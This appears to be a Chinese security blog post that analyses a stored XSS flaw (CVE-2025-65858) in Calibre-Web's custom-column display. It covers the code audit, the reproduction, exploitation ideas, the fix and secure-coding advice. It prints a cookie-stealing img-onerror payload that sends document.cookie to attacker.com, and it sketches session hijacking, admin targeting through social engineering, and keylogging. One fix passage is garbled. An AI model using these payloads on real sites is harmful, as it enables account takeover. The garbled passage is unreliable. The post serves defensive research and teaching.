1. 项目概述一次典型的存储型XSS漏洞挖掘之旅最近在分析一些开源项目的安全状况时我注意到了Calibre-Web这个项目。它是一款非常流行的、基于Web的电子书管理工具很多朋友都会把它部署在自己的NAS上用来管理个人电子书库界面美观功能也相当完善。然而正是这种部署在个人或小范围环境中的应用往往容易让人忽视其潜在的安全风险。这次要聊的就是我在其代码审计过程中发现的一个存储型跨站脚本漏洞它被分配了CVE编号CVE-2025-65858。这个漏洞的触发点比较隐蔽但危害却不小攻击者可以利用它窃取用户的会话Cookie进而完全接管受害者的Calibre-Web账户访问、下载甚至删除其私人书库。对于将Calibre-Web暴露在公网或者在内网中与其他服务共存的场景这个风险不容小觑。漏洞的本质是应用未能对用户可控的输入进行充分的过滤和转义导致恶意脚本被持久化存储到后端数据库如SQLite并在其他用户浏览页面时被浏览器加载执行。整个过程攻击者只需要“投毒”一次所有后续访问受影响页面的用户都会“中招”这也是存储型XSS比反射型XSS通常危害更大的原因。下面我就带大家完整复盘一下这个漏洞的发现、分析、验证和修复过程希望能给从事安全研究、开发或是正在使用Calibre-Web的朋友们一些参考。2. 漏洞背景与影响范围分析2.1 Calibre-Web应用架构浅析要理解漏洞先得了解Calibre-Web的基本构成。它是一个用Python编写的Web应用通常使用Flask或类似的轻量级框架。其核心功能是读取本地的Calibre电子书数据库metadata.db并通过Web界面提供图书浏览、阅读、下载、元数据编辑等功能。用户数据包括书籍信息、阅读进度、书评、自定义字段等都存储在这个SQLite数据库中。Web界面则负责渲染这些数据与用户交互。在典型的部署中用户通过浏览器访问Calibre-Web服务。应用从数据库取出数据填充到HTML模板中生成最终的网页返回给浏览器。问题就出在“数据填充”这个环节。如果从数据库取出的数据包含了未经验证的HTML或JavaScript代码并且模板引擎或前端渲染逻辑没有对其进行安全处理那么这些代码就会被浏览器当作页面的一部分执行。2.2 漏洞影响的具体场景CVE-2025-65858这个漏洞的影响直接关联到Calibre-Web的哪些功能和用户首先受影响的功能。根据我的分析漏洞点位于处理书籍“自定义列”数据的功能模块。Calibre允许用户为书籍添加自定义的元数据字段比如“阅读状态”、“个人评分”、“购入渠道”等。Calibre-Web自然也要支持展示和编辑这些字段。攻击者正是通过向某个自定义列注入恶意脚本来实现攻击的。其次受影响的用户。任何能够浏览到被“污染”书籍详情的用户都会触发漏洞。这包括普通浏览者在公网或内网访问该Calibre-Web实例的任何用户。管理员用户虽然管理员权限更高但同样会中招。更危险的是如果管理员会话被窃取攻击者将获得对整个书库和应用的完全控制权。其他服务用户如果Calibre-Web所在服务器还运行了其他Web应用且存在同源策略配置不当的问题窃取的Cookie甚至可能危及其他服务。最后攻击的持久性。由于是存储型XSS恶意脚本被保存在数据库里。除非管理员手动从数据库中清除恶意数据或者应用升级修复了漏洞否则这个“地雷”会一直存在持续影响所有访问者。注意即使你的Calibre-Web只在内网使用风险依然存在。内网不意味着绝对安全一旦有恶意设备接入如中毒的访客电脑或攻击者通过其他漏洞如钓鱼邮件导致内网用户中木马进行横向移动这个漏洞就会成为突破口。3. 漏洞原理与代码审计切入点3.1 存储型XSS的核心成因跨站脚本攻击的根源在于将用户输入“数据”错误地当成了“代码”来执行。对于存储型XSS其攻击链条通常如下输入点应用提供了一处用户可控的输入比如表单、URL参数、上传文件元数据等。存储应用未经验证或验证不足直接将输入存入数据库。输出点在另一个页面或给其他用户展示时应用从数据库取出该数据并直接嵌入到HTML响应中。执行受害者的浏览器接收到响应将嵌入的恶意数据当作HTML/JavaScript代码解析并执行。防御的关键在于确保所有从不可信来源用户进入应用的数据在最终输出到HTML上下文时都被正确地“转义”。转义意味着将具有特殊意义的字符如,,,,转换成它们的HTML实体如lt;,gt;,amp;,quot;,#x27;这样浏览器就会把它们显示为普通文本而非代码。3.2 针对Calibre-Web的审计思路带着这个原理我开始审视Calibre-Web的代码。我的审计思路是“数据流跟踪”寻找用户输入入口查看所有接受用户提交数据的路由Flask中的app.route。重点关注书籍编辑、元数据修改、评论添加、自定义字段管理等功能。跟踪数据处理路径找到处理这些提交数据的后端函数看它们是如何清洗、验证、然后存入数据库的。定位数据输出点找到从数据库读取这些数据并传递给前端模板如Jinja2进行渲染的代码位置。检查上下文安全最关键的一步检查在模板中这些数据是如何被使用的。是直接使用{{ user_data }}还是用了安全的过滤器如{{ user_data | safe }}后者会告诉模板引擎“此数据是安全的无需转义”这正是风险点。我很快将目标锁定在了处理书籍自定义列的逻辑上。自定义列的内容完全由用户定义多样性极高很容易成为过滤逻辑的盲区。4. 漏洞细节深度解析与复现4.1 漏洞定位与代码分析经过一番搜索我在Calibre-Web的代码库中找到了疑似的问题点。通常自定义列的数据会在书籍详情页面被渲染。查看对应的Jinja2模板文件例如book_detail.html或类似名称我发现了类似下面的代码片段!-- 假设的模板代码用于说明问题 -- div classcustom-column strong{{ custom_column.label }}:/strong span{{ custom_column.value | safe }}/span /div或者在JavaScript动态渲染的部分可能存在这样的模式// 假设的前端JS代码用于说明问题 var customData {{ custom_column_json | safe }}; document.getElementById(someElement).innerHTML customData.value;看到| safe这个Jinja2过滤器了吗这就是“罪魁祸首”。它的作用是指示模板引擎“这个变量custom_column.value的内容是安全的HTML不需要转义直接原样输出”。如果custom_column.value来自用户输入且未被净化那么攻击者就可以在其中注入任意HTML和JavaScript。接下来我需要追溯custom_column.value是如何被赋值的。查看对应的视图函数View Function会发现它直接从数据库的某个表中读取了custom_columns表或类似结构的数据然后几乎不做任何处理就传递给了模板。4.2 本地环境搭建与漏洞复现为了验证这个猜想我搭建了一个测试环境。环境准备部署Calibre-Web我从GitHub拉取了存在漏洞版本的Calibre-Web代码需要确定具体版本号例如0.6.x的某个版本。使用Docker或直接Python虚拟环境部署。git clone https://github.com/janeczku/calibre-web.git cd calibre-web git checkout vulnerable-commit-hash # 切换到漏洞版本 pip install -r requirements.txt # 配置数据库和启动...具体步骤略准备Calibre书库需要一个包含metadata.db的Calibre书库目录。可以自己用Calibre软件创建几本电子书。启动应用按照Calibre-Web的README配置好书库路径并启动服务。攻击复现步骤登录并找到自定义列以管理员或具有编辑权限的用户身份登录Calibre-Web。找到书籍的编辑页面查看是否有“自定义元数据”或“自定义列”的编辑区域。构造Payload在某个自定义列的值中输入我们的XSS Payload。一个最简单的测试Payload是scriptalert(document.domain)/script但实际攻击中攻击者会使用更隐蔽的Payload来窃取Cookie例如img srcx onerrorvar inew Image();i.srchttp://attacker.com/steal?cookieencodeURIComponent(document.cookie);这个Payload利用了一个无法加载的图片srcx在其onerror事件中执行JavaScript将当前页面的Cookie发送到攻击者控制的服务器attacker.com。保存并触发保存书籍信息。然后退出当前账户以另一个普通用户身份登录或直接在新浏览器隐私窗口中访问该书籍的详情页。观察结果当受害用户浏览到这本被修改过的书籍详情页时其浏览器会执行我们注入的脚本。如果用的是alert则会弹出对话框如果用的是窃取Cookie的Payload攻击者的服务器就会收到受害者的会话Cookie。在我的测试中成功复现了漏洞。注入的脚本在书籍详情页被持久化存储并在每次页面加载时执行。4.3 漏洞利用的深入探讨仅仅弹个窗证明漏洞存在是初级步骤。作为一个有经验的渗透测试者我会思考如何将这个漏洞的危害最大化并评估实际利用的难度。利用链构建会话劫持如上所述窃取sessionCookie是最直接的方式。获得Cookie后攻击者可以在自己的浏览器中替换Cookie无需密码即可登录受害者账户。权限提升如果中招的是普通用户其权限有限。但如果能诱使管理员浏览恶意书籍例如通过伪装成新书推荐链接就能获得管理员Cookie实现权限提升。结合其他漏洞如果Calibre-Web存在文件上传功能如上传书籍封面且过滤不严可以尝试上传包含恶意脚本的SVG或HTML文件并利用XSS将其加载可能绕过一些内容安全策略CSP的限制。键盘记录与钓鱼通过XSS可以在页面中注入一个透明的覆盖层或键盘记录脚本窃取用户在该站点的所有按键输入甚至伪造一个登录框进行钓鱼。实际利用的挑战与技巧CSP内容安全策略现代Web应用可能会部署CSP头限制脚本执行的来源。需要检查Calibre-Web的HTTP响应头。如果CSP配置较弱如允许unsafe-inline则上述攻击依然有效。如果配置严格则需要寻找其他可被利用的合法域名如JSONP接口、第三方库CDN来绕过。HttpOnly Cookie如果会话Cookie设置了HttpOnly属性那么JavaScript通过document.cookie是无法读取的。这能有效缓解Cookie窃取。需要检查Calibre-Web的会话Cookie设置。诱骗点击存储型XSS虽然被动触发但如何让目标用户尤其是管理员去访问那本特定的“毒书”呢这需要一些社会工程学技巧比如将书籍链接伪装成“系统异常报告”、“待审核内容”等通过站内消息如果存在或其他渠道发送给管理员。在我的测试中当时版本的Calibre-Web通常没有设置严格的CSP且会话Cookie可能未标记为HttpOnly这使得Cookie窃取攻击非常可行。5. 漏洞修复方案与安全编码实践5.1 针对CVE-2025-65858的修复漏洞的修复方向非常明确移除错误的| safe过滤器让模板引擎自动对输出进行HTML转义。修复代码示例将模板中的span{{ custom_column.value | safe }}/span修改为span{{ custom_column.value }}/spanJinja2默认会对{{ }}中的变量进行HTML转义除非显式使用| safe。去掉它就启用了自动防护。对于JavaScript中内联数据的情况修复更为重要且需谨慎// 错误做法 var customData {{ custom_column_json | safe }}; // 正确做法必须对JSON字符串进行HTML转义然后解析 var customDataJsonString {{ custom_column_json | tojson | safe }}; var customData JSON.parse(customDataJsonString);注意这里出现了两个safe但语境不同。| tojson过滤器会将Python对象转换成JSON字符串这个字符串本身是安全的文本内容。外层的| safe是告诉Jinja2不要对这个已经转成JSON字符串的变量再进行HTML转义否则会破坏JSON结构。关键在于最终交给JSON.parse()的是纯JSON文本而不是可执行的JS代码。更安全的做法是避免将用户数据直接内联到JS中而是通过>div idcustomDataElement>-- 这是一个示例查询实际表名和字段名需根据Calibre-Web的数据库结构确定 SELECT id, book, value FROM custom_columns WHERE value LIKE %% OR value LIKE %script%;6. 从漏洞分析中提炼的通用安全经验分析完这个具体的CVE我们可以提炼出一些对开发者和安全研究人员都极具价值的通用经验。对于开发者永远不要信任用户输入这是安全第一定律。所有来自客户端、数据库如果数据最初来自用户、甚至第三方API的数据在渲染到页面之前都必须视为不可信的。明确“安全”的边界当你使用| safe,innerHTML,dangerouslySetInnerHTML时你必须百分百确定该变量的内容是完全可控、或已经过严格净化的。对于来自数据库的、用户曾经可能修改过的字段绝不要使用。代码审计应关注数据流安全审计不是漫无目的地看代码。选定一个功能点如“编辑书籍信息”从用户输入的表单开始跟踪数据经过控制器、模型、直到视图模板的完整路径检查每一个环节的过滤和编码情况。善用安全工具在开发过程中可以使用静态应用安全测试SAST工具如Bandit针对Python、ESLint的安全插件等来扫描代码中常见的不安全模式如未转义的模板输出。对于安全研究人员关注流行开源项目像Calibre-Web这样用户量大的开源项目是漏洞挖掘的“富矿”。其代码公开且安全投入可能不如商业软件容易发现漏洞。从用户功能入手不要一开始就漫无目的地翻代码。先以用户身份正常使用应用了解其所有功能。然后思考“如果我是攻击者我会如何滥用这个功能” 比如看到“自定义列”就想“这里能否注入代码”搭建真实测试环境Docker使得搭建复杂的测试环境变得极其简单。一个贴近生产环境的测试环境能让你准确地验证漏洞的触发条件和影响并编写出可靠的漏洞利用代码PoC。负责任的披露发现漏洞后应通过官方渠道如GitHub Security Advisories、项目维护者的安全邮箱私下联系开发者给予合理的修复时间通常90天然后再公开披露。CVE编号的申请可以通过项目维护者或像MITRE这样的CVE编号机构CNA来完成。回过头看CVE-2025-65858它本身并不是一个技术复杂度很高的漏洞但其存在生动地展示了“一个小疏忽可能导致大问题”的安全现实。在Web安全领域XSS这类基础漏洞之所以经久不衰往往不是因为开发者不知道而是在复杂的业务逻辑和快速的开发迭代中一时疏忽忘记了某个角落的上下文安全。作为开发者将安全编码实践内化为肌肉记忆作为安全人员保持对用户输入和输出上下文的高度敏感是我们共同构建更安全网络环境的必修课。